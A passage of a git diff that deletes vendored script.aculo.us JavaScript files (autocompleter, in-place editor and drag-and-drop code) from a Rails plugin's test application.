this.getEntry(this.index).scrollIntoView(true); - }, - - markNext: function() { - if(this.index < this.entryCount-1) this.index++ - else this.index = 0; - this.getEntry(this.index).scrollIntoView(false); - }, - - getEntry: function(index) { - return this.update.firstChild.childNodes[index]; - }, - - getCurrentEntry: function() { - return this.getEntry(this.index); - }, - - selectEntry: function() { - this.active = false; - this.updateElement(this.getCurrentEntry()); - }, - - updateElement: function(selectedElement) { - if (this.options.updateElement) { - this.options.updateElement(selectedElement); - return; - } - var value = ''; - if (this.options.select) { - var nodes = document.getElementsByClassName(this.options.select, selectedElement) || []; - if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select); - } else - value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal'); - - var lastTokenPos = this.findLastToken(); - if (lastTokenPos != -1) { - var newValue = this.element.value.substr(0, lastTokenPos + 1); - var whitespace = this.element.value.substr(lastTokenPos + 1).match(/^\s+/); - if (whitespace) - newValue += whitespace[0]; - this.element.value = newValue + value; - } else { - this.element.value = value; - } - this.element.focus(); - - if (this.options.afterUpdateElement) - this.options.afterUpdateElement(this.element, selectedElement); - }, - - updateChoices: function(choices) { - if(!this.changed && this.hasFocus) { - this.update.innerHTML = choices; - Element.cleanWhitespace(this.update); - Element.cleanWhitespace(this.update.down()); - - if(this.update.firstChild && this.update.down().childNodes) { - this.entryCount = - this.update.down().childNodes.length; - for (var i = 0; i < this.entryCount; i++) { - var entry = this.getEntry(i); - entry.autocompleteIndex = i; - this.addObservers(entry); - } - } else { - this.entryCount = 0; - } - - this.stopIndicator(); - this.index = 0; - - if(this.entryCount==1 && this.options.autoSelect) { - this.selectEntry(); - this.hide(); - } else { - this.render(); - } - } - }, - - addObservers: function(element) { - Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this)); - Event.observe(element, "click", this.onClick.bindAsEventListener(this)); - }, - - onObserverEvent: function() { - this.changed = false; - if(this.getToken().length>=this.options.minChars) { - this.startIndicator(); - this.getUpdatedChoices(); - } else { - this.active = false; - this.hide(); - } - }, - - getToken: function() { - var tokenPos = this.findLastToken(); - if (tokenPos != -1) - var ret = this.element.value.substr(tokenPos + 1).replace(/^\s+/,'').replace(/\s+$/,''); - else - var ret = this.element.value; - - return /\n/.test(ret) ? '' : ret; - }, - - findLastToken: function() { - var lastTokenPos = -1; - - for (var i=0; i lastTokenPos) - lastTokenPos = thisTokenPos; - } - return lastTokenPos; - } -} - -Ajax.Autocompleter = Class.create(); -Object.extend(Object.extend(Ajax.Autocompleter.prototype, Autocompleter.Base.prototype), { - initialize: function(element, update, url, options) { - this.baseInitialize(element, update, options); - this.options.asynchronous = true; - this.options.onComplete = this.onComplete.bind(this); - this.options.defaultParams = this.options.parameters || null; - this.url = url; - }, - - getUpdatedChoices: function() { - entry = encodeURIComponent(this.options.paramName) + '=' + - encodeURIComponent(this.getToken()); - - this.options.parameters = this.options.callback ? - this.options.callback(this.element, entry) : entry; - - if(this.options.defaultParams) - this.options.parameters += '&' + this.options.defaultParams; - - new Ajax.Request(this.url, this.options); - }, - - onComplete: function(request) { - this.updateChoices(request.responseText); - } - -}); - -// The local array autocompleter. Used when you'd prefer to -// inject an array of autocompletion options into the page, rather -// than sending out Ajax queries, which can be quite slow sometimes. -// -// The constructor takes four parameters. The first two are, as usual, -// the id of the monitored textbox, and id of the autocompletion menu. -// The third is the array you want to autocomplete from, and the fourth -// is the options block. -// -// Extra local autocompletion options: -// - choices - How many autocompletion choices to offer -// -// - partialSearch - If false, the autocompleter will match entered -// text only at the beginning of strings in the -// autocomplete array. Defaults to true, which will -// match text at the beginning of any *word* in the -// strings in the autocomplete array. If you want to -// search anywhere in the string, additionally set -// the option fullSearch to true (default: off). -// -// - fullSsearch - Search anywhere in autocomplete array strings. -// -// - partialChars - How many characters to enter before triggering -// a partial match (unlike minChars, which defines -// how many characters are required to do any match -// at all). Defaults to 2. -// -// - ignoreCase - Whether to ignore case when autocompleting. -// Defaults to true. -// -// It's possible to pass in a custom function as the 'selector' -// option, if you prefer to write your own autocompletion logic. -// In that case, the other options above will not apply unless -// you support them. - -Autocompleter.Local = Class.create(); -Autocompleter.Local.prototype = Object.extend(new Autocompleter.Base(), { - initialize: function(element, update, array, options) { - this.baseInitialize(element, update, options); - this.options.array = array; - }, - - getUpdatedChoices: function() { - this.updateChoices(this.options.selector(this)); - }, - - setOptions: function(options) { - this.options = Object.extend({ - choices: 10, - partialSearch: true, - partialChars: 2, - ignoreCase: true, - fullSearch: false, - selector: function(instance) { - var ret = []; // Beginning matches - var partial = []; // Inside matches - var entry = instance.getToken(); - var count = 0; - - for (var i = 0; i < instance.options.array.length && - ret.length < instance.options.choices ; i++) { - - var elem = instance.options.array[i]; - var foundPos = instance.options.ignoreCase ? - elem.toLowerCase().indexOf(entry.toLowerCase()) : - elem.indexOf(entry); - - while (foundPos != -1) { - if (foundPos == 0 && elem.length != entry.length) { - ret.push("
  • " + elem.substr(0, entry.length) + "" + - elem.substr(entry.length) + "
  • "); - break; - } else if (entry.length >= instance.options.partialChars && - instance.options.partialSearch && foundPos != -1) { - if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) { - partial.push("
  • " + elem.substr(0, foundPos) + "" + - elem.substr(foundPos, entry.length) + "" + elem.substr( - foundPos + entry.length) + "
  • "); - break; - } - } - - foundPos = instance.options.ignoreCase ? - elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : - elem.indexOf(entry, foundPos + 1); - - } - } - if (partial.length) - ret = ret.concat(partial.slice(0, instance.options.choices - ret.length)) - return "
      " + ret.join('') + "
    "; - } - }, options || {}); - } -}); - -// AJAX in-place editor -// -// see documentation on http://wiki.script.aculo.us/scriptaculous/show/Ajax.InPlaceEditor - -// Use this if you notice weird scrolling problems on some browsers, -// the DOM might be a bit confused when this gets called so do this -// waits 1 ms (with setTimeout) until it does the activation -Field.scrollFreeActivate = function(field) { - setTimeout(function() { - Field.activate(field); - }, 1); -} - -Ajax.InPlaceEditor = Class.create(); -Ajax.InPlaceEditor.defaultHighlightColor = "#FFFF99"; -Ajax.InPlaceEditor.prototype = { - initialize: function(element, url, options) { - this.url = url; - this.element = $(element); - - this.options = Object.extend({ - paramName: "value", - okButton: true, - okText: "ok", - cancelLink: true, - cancelText: "cancel", - savingText: "Saving...", - clickToEditText: "Click to edit", - okText: "ok", - rows: 1, - onComplete: function(transport, element) { - new Effect.Highlight(element, {startcolor: this.options.highlightcolor}); - }, - onFailure: function(transport) { - alert("Error communicating with the server: " + transport.responseText.stripTags()); - }, - callback: function(form) { - return Form.serialize(form); - }, - handleLineBreaks: true, - loadingText: 'Loading...', - savingClassName: 'inplaceeditor-saving', - loadingClassName: 'inplaceeditor-loading', - formClassName: 'inplaceeditor-form', - highlightcolor: Ajax.InPlaceEditor.defaultHighlightColor, - highlightendcolor: "#FFFFFF", - externalControl: null, - submitOnBlur: false, - ajaxOptions: {}, - evalScripts: false - }, options || {}); - - if(!this.options.formId && this.element.id) { - this.options.formId = this.element.id + "-inplaceeditor"; - if ($(this.options.formId)) { - // there's already a form with that name, don't specify an id - this.options.formId = null; - } - } - - if (this.options.externalControl) { - this.options.externalControl = $(this.options.externalControl); - } - - this.originalBackground = Element.getStyle(this.element, 'background-color'); - if (!this.originalBackground) { - this.originalBackground = "transparent"; - } - - this.element.title = this.options.clickToEditText; - - this.onclickListener = this.enterEditMode.bindAsEventListener(this); - this.mouseoverListener = this.enterHover.bindAsEventListener(this); - this.mouseoutListener = this.leaveHover.bindAsEventListener(this); - Event.observe(this.element, 'click', this.onclickListener); - Event.observe(this.element, 'mouseover', this.mouseoverListener); - Event.observe(this.element, 'mouseout', this.mouseoutListener); - if (this.options.externalControl) { - Event.observe(this.options.externalControl, 'click', this.onclickListener); - Event.observe(this.options.externalControl, 'mouseover', this.mouseoverListener); - Event.observe(this.options.externalControl, 'mouseout', this.mouseoutListener); - } - }, - enterEditMode: function(evt) { - if (this.saving) return; - if (this.editing) return; - this.editing = true; - this.onEnterEditMode(); - if (this.options.externalControl) { - Element.hide(this.options.externalControl); - } - Element.hide(this.element); - this.createForm(); - this.element.parentNode.insertBefore(this.form, this.element); - if (!this.options.loadTextURL) Field.scrollFreeActivate(this.editField); - // stop the event to avoid a page refresh in Safari - if (evt) { - Event.stop(evt); - } - return false; - }, - createForm: function() { - this.form = document.createElement("form"); - this.form.id = this.options.formId; - Element.addClassName(this.form, this.options.formClassName) - this.form.onsubmit = this.onSubmit.bind(this); - - this.createEditField(); - - if (this.options.textarea) { - var br = document.createElement("br"); - this.form.appendChild(br); - } - - if (this.options.okButton) { - okButton = document.createElement("input"); - okButton.type = "submit"; - okButton.value = this.options.okText; - okButton.className = 'editor_ok_button'; - this.form.appendChild(okButton); - } - - if (this.options.cancelLink) { - cancelLink = document.createElement("a"); - cancelLink.href = "#"; - cancelLink.appendChild(document.createTextNode(this.options.cancelText)); - cancelLink.onclick = this.onclickCancel.bind(this); - cancelLink.className = 'editor_cancel'; - this.form.appendChild(cancelLink); - } - }, - hasHTMLLineBreaks: function(string) { - if (!this.options.handleLineBreaks) return false; - return string.match(/
    /i); - }, - convertHTMLLineBreaks: function(string) { - return string.replace(/
    /gi, "\n").replace(//gi, "\n").replace(/<\/p>/gi, "\n").replace(/

    /gi, ""); - }, - createEditField: function() { - var text; - if(this.options.loadTextURL) { - text = this.options.loadingText; - } else { - text = this.getText(); - } - - var obj = this; - - if (this.options.rows == 1 && !this.hasHTMLLineBreaks(text)) { - this.options.textarea = false; - var textField = document.createElement("input"); - textField.obj = this; - textField.type = "text"; - textField.name = this.options.paramName; - textField.value = text; - textField.style.backgroundColor = this.options.highlightcolor; - textField.className = 'editor_field'; - var size = this.options.size || this.options.cols || 0; - if (size != 0) textField.size = size; - if (this.options.submitOnBlur) - textField.onblur = this.onSubmit.bind(this); - this.editField = textField; - } else { - this.options.textarea = true; - var textArea = document.createElement("textarea"); - textArea.obj = this; - textArea.name = this.options.paramName; - textArea.value = this.convertHTMLLineBreaks(text); - textArea.rows = this.options.rows; - textArea.cols = this.options.cols || 40; - textArea.className = 'editor_field'; - if (this.options.submitOnBlur) - textArea.onblur = this.onSubmit.bind(this); - this.editField = textArea; - } - - if(this.options.loadTextURL) { - this.loadExternalText(); - } - this.form.appendChild(this.editField); - }, - getText: function() { - return this.element.innerHTML; - }, - loadExternalText: function() { - Element.addClassName(this.form, this.options.loadingClassName); - this.editField.disabled = true; - new Ajax.Request( - this.options.loadTextURL, - Object.extend({ - asynchronous: true, - onComplete: this.onLoadedExternalText.bind(this) - }, this.options.ajaxOptions) - ); - }, - onLoadedExternalText: function(transport) { - Element.removeClassName(this.form, this.options.loadingClassName); - this.editField.disabled = false; - this.editField.value = transport.responseText.stripTags(); - Field.scrollFreeActivate(this.editField); - }, - onclickCancel: function() { - this.onComplete(); - this.leaveEditMode(); - return false; - }, - onFailure: function(transport) { - this.options.onFailure(transport); - if (this.oldInnerHTML) { - this.element.innerHTML = this.oldInnerHTML; - this.oldInnerHTML = null; - } - return false; - }, - onSubmit: function() { - // onLoading resets these so we need to save them away for the Ajax call - var form = this.form; - var value = this.editField.value; - - // do this first, sometimes the ajax call returns before we get a chance to switch on Saving... - // which means this will actually switch on Saving... *after* we've left edit mode causing Saving... - // to be displayed indefinitely - this.onLoading(); - - if (this.options.evalScripts) { - new Ajax.Request( - this.url, Object.extend({ - parameters: this.options.callback(form, value), - onComplete: this.onComplete.bind(this), - onFailure: this.onFailure.bind(this), - asynchronous:true, - evalScripts:true - }, this.options.ajaxOptions)); - } else { - new Ajax.Updater( - { success: this.element, - // don't update on failure (this could be an option) - failure: null }, - this.url, Object.extend({ - parameters: this.options.callback(form, value), - onComplete: this.onComplete.bind(this), - onFailure: this.onFailure.bind(this) - }, this.options.ajaxOptions)); - } - // stop the event to avoid a page refresh in Safari - if (arguments.length > 1) { - Event.stop(arguments[0]); - } - return false; - }, - onLoading: function() { - this.saving = true; - this.removeForm(); - this.leaveHover(); - this.showSaving(); - }, - showSaving: function() { - this.oldInnerHTML = this.element.innerHTML; - this.element.innerHTML = this.options.savingText; - Element.addClassName(this.element, this.options.savingClassName); - this.element.style.backgroundColor = this.originalBackground; - Element.show(this.element); - }, - removeForm: function() { - if(this.form) { - if (this.form.parentNode) Element.remove(this.form); - this.form = null; - } - }, - enterHover: function() { - if (this.saving) return; - this.element.style.backgroundColor = this.options.highlightcolor; - if (this.effect) { - this.effect.cancel(); - } - Element.addClassName(this.element, this.options.hoverClassName) - }, - leaveHover: function() { - if (this.options.backgroundColor) { - this.element.style.backgroundColor = this.oldBackground; - } - Element.removeClassName(this.element, this.options.hoverClassName) - if (this.saving) return; - this.effect = new Effect.Highlight(this.element, { - startcolor: this.options.highlightcolor, - endcolor: this.options.highlightendcolor, - restorecolor: this.originalBackground - }); - }, - leaveEditMode: function() { - Element.removeClassName(this.element, this.options.savingClassName); - this.removeForm(); - this.leaveHover(); - this.element.style.backgroundColor = this.originalBackground; - Element.show(this.element); - if (this.options.externalControl) { - Element.show(this.options.externalControl); - } - this.editing = false; - this.saving = false; - this.oldInnerHTML = null; - this.onLeaveEditMode(); - }, - onComplete: function(transport) { - this.leaveEditMode(); - this.options.onComplete.bind(this)(transport, this.element); - }, - onEnterEditMode: function() {}, - onLeaveEditMode: function() {}, - dispose: function() { - if (this.oldInnerHTML) { - this.element.innerHTML = this.oldInnerHTML; - } - this.leaveEditMode(); - Event.stopObserving(this.element, 'click', this.onclickListener); - Event.stopObserving(this.element, 'mouseover', this.mouseoverListener); - Event.stopObserving(this.element, 'mouseout', this.mouseoutListener); - if (this.options.externalControl) { - Event.stopObserving(this.options.externalControl, 'click', this.onclickListener); - Event.stopObserving(this.options.externalControl, 'mouseover', this.mouseoverListener); - Event.stopObserving(this.options.externalControl, 'mouseout', this.mouseoutListener); - } - } -}; - -Ajax.InPlaceCollectionEditor = Class.create(); -Object.extend(Ajax.InPlaceCollectionEditor.prototype, Ajax.InPlaceEditor.prototype); -Object.extend(Ajax.InPlaceCollectionEditor.prototype, { - createEditField: function() { - if (!this.cached_selectTag) { - var selectTag = document.createElement("select"); - var collection = this.options.collection || []; - var optionTag; - collection.each(function(e,i) { - optionTag = document.createElement("option"); - optionTag.value = (e instanceof Array) ? e[0] : e; - if((typeof this.options.value == 'undefined') && - ((e instanceof Array) ? this.element.innerHTML == e[1] : e == optionTag.value)) optionTag.selected = true; - if(this.options.value==optionTag.value) optionTag.selected = true; - optionTag.appendChild(document.createTextNode((e instanceof Array) ? e[1] : e)); - selectTag.appendChild(optionTag); - }.bind(this)); - this.cached_selectTag = selectTag; - } - - this.editField = this.cached_selectTag; - if(this.options.loadTextURL) this.loadExternalText(); - this.form.appendChild(this.editField); - this.options.callback = function(form, value) { - return "value=" + encodeURIComponent(value); - } - } -}); - -// Delayed observer, like Form.Element.Observer, -// but waits for delay after last key input -// Ideal for live-search fields - -Form.Element.DelayedObserver = Class.create(); -Form.Element.DelayedObserver.prototype = { - initialize: function(element, delay, callback) { - this.delay = delay || 0.5; - this.element = $(element); - this.callback = callback; - this.timer = null; - this.lastValue = $F(this.element); - Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this)); - }, - delayedListener: function(event) { - if(this.lastValue == $F(this.element)) return; - if(this.timer) clearTimeout(this.timer); - this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000); - this.lastValue = $F(this.element); - }, - onTimerEvent: function() { - this.timer = null; - this.callback(this.element, $F(this.element)); - } -}; diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/dragdrop.js b/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/dragdrop.js deleted file mode 100644 index c71ddb82..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/dragdrop.js +++ /dev/null @@ -1,942 +0,0 @@ -// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) -// (c) 2005, 2006 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz) -// -// script.aculo.us is freely distributable under the terms of an MIT-style license. -// For details, see the script.aculo.us web site: http://script.aculo.us/ - -if(typeof Effect == 'undefined') - throw("dragdrop.js requires including script.aculo.us' effects.js library"); - -var Droppables = { - drops: [], - - remove: function(element) { - this.drops = this.drops.reject(function(d) { return d.element==$(element) }); - }, - - add: function(element) { - element = $(element); - var options = Object.extend({ - greedy: true, - hoverclass: null, - tree: false - }, arguments[1] || {}); - - // cache containers - if(options.containment) { - options._containers = []; - var containment = options.containment; - if((typeof containment == 'object') && - (containment.constructor == Array)) { - containment.each( function(c) { options._containers.push($(c)) }); - } else { - options._containers.push($(containment)); - } - } - - if(options.accept) options.accept = [options.accept].flatten(); - - Element.makePositioned(element); // fix IE - options.element = element; - - this.drops.push(options); - }, - - findDeepestChild: function(drops) { - deepest = drops[0]; - - for (i = 1; i < drops.length; ++i) - if (Element.isParent(drops[i].element, deepest.element)) - deepest = drops[i]; - - return deepest; - }, - - isContained: function(element, drop) { - var containmentNode; - if(drop.tree) { - containmentNode = element.treeNode; - } else { - containmentNode = element.parentNode; - } - return drop._containers.detect(function(c) { return containmentNode == c }); - }, - - isAffected: function(point, element, drop) { - return ( - (drop.element!=element) && - ((!drop._containers) || - this.isContained(element, drop)) && - ((!drop.accept) || - (Element.classNames(element).detect( - function(v) { return drop.accept.include(v) } ) )) && - Position.within(drop.element, point[0], point[1]) ); - }, - - deactivate: function(drop) { - if(drop.hoverclass) - Element.removeClassName(drop.element, drop.hoverclass); - this.last_active = null; - }, - - activate: function(drop) { - if(drop.hoverclass) - Element.addClassName(drop.element, drop.hoverclass); - this.last_active = drop; - }, - - show: function(point, element) { - if(!this.drops.length) return; - var affected = []; - - if(this.last_active) this.deactivate(this.last_active); - this.drops.each( function(drop) { - if(Droppables.isAffected(point, element, drop)) - affected.push(drop); - }); - - if(affected.length>0) { - drop = Droppables.findDeepestChild(affected); - Position.within(drop.element, point[0], point[1]); - if(drop.onHover) - drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element)); - - Droppables.activate(drop); - } - }, - - fire: function(event, element) { - if(!this.last_active) return; - Position.prepare(); - - if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active)) - if (this.last_active.onDrop) - this.last_active.onDrop(element, this.last_active.element, event); - }, - - reset: function() { - if(this.last_active) - this.deactivate(this.last_active); - } -} - -var Draggables = { - drags: [], - observers: [], - - register: function(draggable) { - if(this.drags.length == 0) { - this.eventMouseUp = this.endDrag.bindAsEventListener(this); - this.eventMouseMove = this.updateDrag.bindAsEventListener(this); - this.eventKeypress = this.keyPress.bindAsEventListener(this); - - Event.observe(document, "mouseup", this.eventMouseUp); - Event.observe(document, "mousemove", this.eventMouseMove); - Event.observe(document, "keypress", this.eventKeypress); - } - this.drags.push(draggable); - }, - - unregister: function(draggable) { - this.drags = this.drags.reject(function(d) { return d==draggable }); - if(this.drags.length == 0) { - Event.stopObserving(document, "mouseup", this.eventMouseUp); - Event.stopObserving(document, "mousemove", this.eventMouseMove); - Event.stopObserving(document, "keypress", this.eventKeypress); - } - }, - - activate: function(draggable) { - if(draggable.options.delay) { - this._timeout = setTimeout(function() { - Draggables._timeout = null; - window.focus(); - Draggables.activeDraggable = draggable; - }.bind(this), draggable.options.delay); - } else { - window.focus(); // allows keypress events if window isn't currently focused, fails for Safari - this.activeDraggable = draggable; - } - }, - - deactivate: function() { - this.activeDraggable = null; - }, - - updateDrag: function(event) { - if(!this.activeDraggable) return; - var pointer = [Event.pointerX(event), Event.pointerY(event)]; - // Mozilla-based browsers fire successive mousemove events with - // the same coordinates, prevent needless redrawing (moz bug?) - if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return; - this._lastPointer = pointer; - - this.activeDraggable.updateDrag(event, pointer); - }, - - endDrag: function(event) { - if(this._timeout) { - clearTimeout(this._timeout); - this._timeout = null; - } - if(!this.activeDraggable) return; - this._lastPointer = null; - this.activeDraggable.endDrag(event); - this.activeDraggable = null; - }, - - keyPress: function(event) { - if(this.activeDraggable) - this.activeDraggable.keyPress(event); - }, - - addObserver: function(observer) { - this.observers.push(observer); - this._cacheObserverCallbacks(); - }, - - removeObserver: function(element) { // element instead of observer fixes mem leaks - this.observers = this.observers.reject( function(o) { return o.element==element }); - this._cacheObserverCallbacks(); - }, - - notify: function(eventName, draggable, event) { // 'onStart', 'onEnd', 'onDrag' - if(this[eventName+'Count'] > 0) - this.observers.each( function(o) { - if(o[eventName]) o[eventName](eventName, draggable, event); - }); - if(draggable.options[eventName]) draggable.options[eventName](draggable, event); - }, - - _cacheObserverCallbacks: function() { - ['onStart','onEnd','onDrag'].each( function(eventName) { - Draggables[eventName+'Count'] = Draggables.observers.select( - function(o) { return o[eventName]; } - ).length; - }); - } -} - -/*--------------------------------------------------------------------------*/ - -var Draggable = Class.create(); -Draggable._dragging = {}; - -Draggable.prototype = { - initialize: function(element) { - var defaults = { - handle: false, - reverteffect: function(element, top_offset, left_offset) { - var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02; - new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur, - queue: {scope:'_draggable', position:'end'} - }); - }, - endeffect: function(element) { - var toOpacity = typeof element._opacity == 'number' ? element._opacity : 1.0; - new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity, - queue: {scope:'_draggable', position:'end'}, - afterFinish: function(){ - Draggable._dragging[element] = false - } - }); - }, - zindex: 1000, - revert: false, - scroll: false, - scrollSensitivity: 20, - scrollSpeed: 15, - snap: false, // false, or xy or [x,y] or function(x,y){ return [x,y] } - delay: 0 - }; - - if(!arguments[1] || typeof arguments[1].endeffect == 'undefined') - Object.extend(defaults, { - starteffect: function(element) { - element._opacity = Element.getOpacity(element); - Draggable._dragging[element] = true; - new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7}); - } - }); - - var options = Object.extend(defaults, arguments[1] || {}); - - this.element = $(element); - - if(options.handle && (typeof options.handle == 'string')) - this.handle = this.element.down('.'+options.handle, 0); - - if(!this.handle) this.handle = $(options.handle); - if(!this.handle) this.handle = this.element; - - if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) { - options.scroll = $(options.scroll); - this._isScrollChild = Element.childOf(this.element, options.scroll); - } - - Element.makePositioned(this.element); // fix IE - - this.delta = this.currentDelta(); - this.options = options; - this.dragging = false; - - this.eventMouseDown = this.initDrag.bindAsEventListener(this); - Event.observe(this.handle, "mousedown", this.eventMouseDown); - - Draggables.register(this); - }, - - destroy: function() { - Event.stopObserving(this.handle, "mousedown", this.eventMouseDown); - Draggables.unregister(this); - }, - - currentDelta: function() { - return([ - parseInt(Element.getStyle(this.element,'left') || '0'), - parseInt(Element.getStyle(this.element,'top') || '0')]); - }, - - initDrag: function(event) { - if(typeof Draggable._dragging[this.element] != 'undefined' && - Draggable._dragging[this.element]) return; - if(Event.isLeftClick(event)) { - // abort on form elements, fixes a Firefox issue - var src = Event.element(event); - if(src.tagName && ( - src.tagName=='INPUT' || - src.tagName=='SELECT' || - src.tagName=='OPTION' || - src.tagName=='BUTTON' || - src.tagName=='TEXTAREA')) return; - - var pointer = [Event.pointerX(event), Event.pointerY(event)]; - var pos = Position.cumulativeOffset(this.element); - this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) }); - - Draggables.activate(this); - Event.stop(event); - } - }, - - startDrag: function(event) { - this.dragging = true; - - if(this.options.zindex) { - this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0); - this.element.style.zIndex = this.options.zindex; - } - - if(this.options.ghosting) { - this._clone = this.element.cloneNode(true); - Position.absolutize(this.element); - this.element.parentNode.insertBefore(this._clone, this.element); - } - - if(this.options.scroll) { - if (this.options.scroll == window) { - var where = this._getWindowScroll(this.options.scroll); - this.originalScrollLeft = where.left; - this.originalScrollTop = where.top; - } else { - this.originalScrollLeft = this.options.scroll.scrollLeft; - this.originalScrollTop = this.options.scroll.scrollTop; - } - } - - Draggables.notify('onStart', this, event); - - if(this.options.starteffect) this.options.starteffect(this.element); - }, - - updateDrag: function(event, pointer) { - if(!this.dragging) this.startDrag(event); - Position.prepare(); - Droppables.show(pointer, this.element); - Draggables.notify('onDrag', this, event); - - this.draw(pointer); - if(this.options.change) this.options.change(this); - - if(this.options.scroll) { - this.stopScrolling(); - - var p; - if (this.options.scroll == window) { - with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; } - } else { - p = Position.page(this.options.scroll); - p[0] += this.options.scroll.scrollLeft + Position.deltaX; - p[1] += this.options.scroll.scrollTop + Position.deltaY; - p.push(p[0]+this.options.scroll.offsetWidth); - p.push(p[1]+this.options.scroll.offsetHeight); - } - var speed = [0,0]; - if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity); - if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity); - if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity); - if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity); - this.startScrolling(speed); - } - - // fix AppleWebKit rendering - if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); - - Event.stop(event); - }, - - finishDrag: function(event, success) { - this.dragging = false; - - if(this.options.ghosting) { - Position.relativize(this.element); - Element.remove(this._clone); - this._clone = null; - } - - if(success) Droppables.fire(event, this.element); - Draggables.notify('onEnd', this, event); - - var revert = this.options.revert; - if(revert && typeof revert == 'function') revert = revert(this.element); - - var d = this.currentDelta(); - if(revert && this.options.reverteffect) { - this.options.reverteffect(this.element, - d[1]-this.delta[1], d[0]-this.delta[0]); - } else { - this.delta = d; - } - - if(this.options.zindex) - this.element.style.zIndex = this.originalZ; - - if(this.options.endeffect) - this.options.endeffect(this.element); - - Draggables.deactivate(this); - Droppables.reset(); - }, - - keyPress: function(event) { - if(event.keyCode!=Event.KEY_ESC) return; - this.finishDrag(event, false); - Event.stop(event); - }, - - endDrag: function(event) { - if(!this.dragging) return; - this.stopScrolling(); - this.finishDrag(event, true); - Event.stop(event); - }, - - draw: function(point) { - var pos = Position.cumulativeOffset(this.element); - if(this.options.ghosting) { - var r = Position.realOffset(this.element); - pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY; - } - - var d = this.currentDelta(); - pos[0] -= d[0]; pos[1] -= d[1]; - - if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) { - pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft; - pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop; - } - - var p = [0,1].map(function(i){ - return (point[i]-pos[i]-this.offset[i]) - }.bind(this)); - - if(this.options.snap) { - if(typeof this.options.snap == 'function') { - p = this.options.snap(p[0],p[1],this); - } else { - if(this.options.snap instanceof Array) { - p = p.map( function(v, i) { - return Math.round(v/this.options.snap[i])*this.options.snap[i] }.bind(this)) - } else { - p = p.map( function(v) { - return Math.round(v/this.options.snap)*this.options.snap }.bind(this)) - } - }} - - var style = this.element.style; - if((!this.options.constraint) || (this.options.constraint=='horizontal')) - style.left = p[0] + "px"; - if((!this.options.constraint) || (this.options.constraint=='vertical')) - style.top = p[1] + "px"; - - if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering - }, - - stopScrolling: function() { - if(this.scrollInterval) { - clearInterval(this.scrollInterval); - this.scrollInterval = null; - Draggables._lastScrollPointer = null; - } - }, - - startScrolling: function(speed) { - if(!(speed[0] || speed[1])) return; - this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed]; - this.lastScrolled = new Date(); - this.scrollInterval = setInterval(this.scroll.bind(this), 10); - }, - - scroll: function() { - var current = new Date(); - var delta = current - this.lastScrolled; - this.lastScrolled = current; - if(this.options.scroll == window) { - with (this._getWindowScroll(this.options.scroll)) { - if (this.scrollSpeed[0] || this.scrollSpeed[1]) { - var d = delta / 1000; - this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] ); - } - } - } else { - this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000; - this.options.scroll.scrollTop += this.scrollSpeed[1] * delta / 1000; - } - - Position.prepare(); - Droppables.show(Draggables._lastPointer, this.element); - Draggables.notify('onDrag', this); - if (this._isScrollChild) { - Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer); - Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000; - Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000; - if (Draggables._lastScrollPointer[0] < 0) - Draggables._lastScrollPointer[0] = 0; - if (Draggables._lastScrollPointer[1] < 0) - Draggables._lastScrollPointer[1] = 0; - this.draw(Draggables._lastScrollPointer); - } - - if(this.options.change) this.options.change(this); - }, - - _getWindowScroll: function(w) { - var T, L, W, H; - with (w.document) { - if (w.document.documentElement && documentElement.scrollTop) { - T = documentElement.scrollTop; - L = documentElement.scrollLeft; - } else if (w.document.body) { - T = body.scrollTop; - L = body.scrollLeft; - } - if (w.innerWidth) { - W = w.innerWidth; - H = w.innerHeight; - } else if (w.document.documentElement && documentElement.clientWidth) { - W = documentElement.clientWidth; - H = documentElement.clientHeight; - } else { - W = body.offsetWidth; - H = body.offsetHeight - } - } - return { top: T, left: L, width: W, height: H }; - } -} - -/*--------------------------------------------------------------------------*/ - -var SortableObserver = Class.create(); -SortableObserver.prototype = { - initialize: function(element, observer) { - this.element = $(element); - this.observer = observer; - this.lastValue = 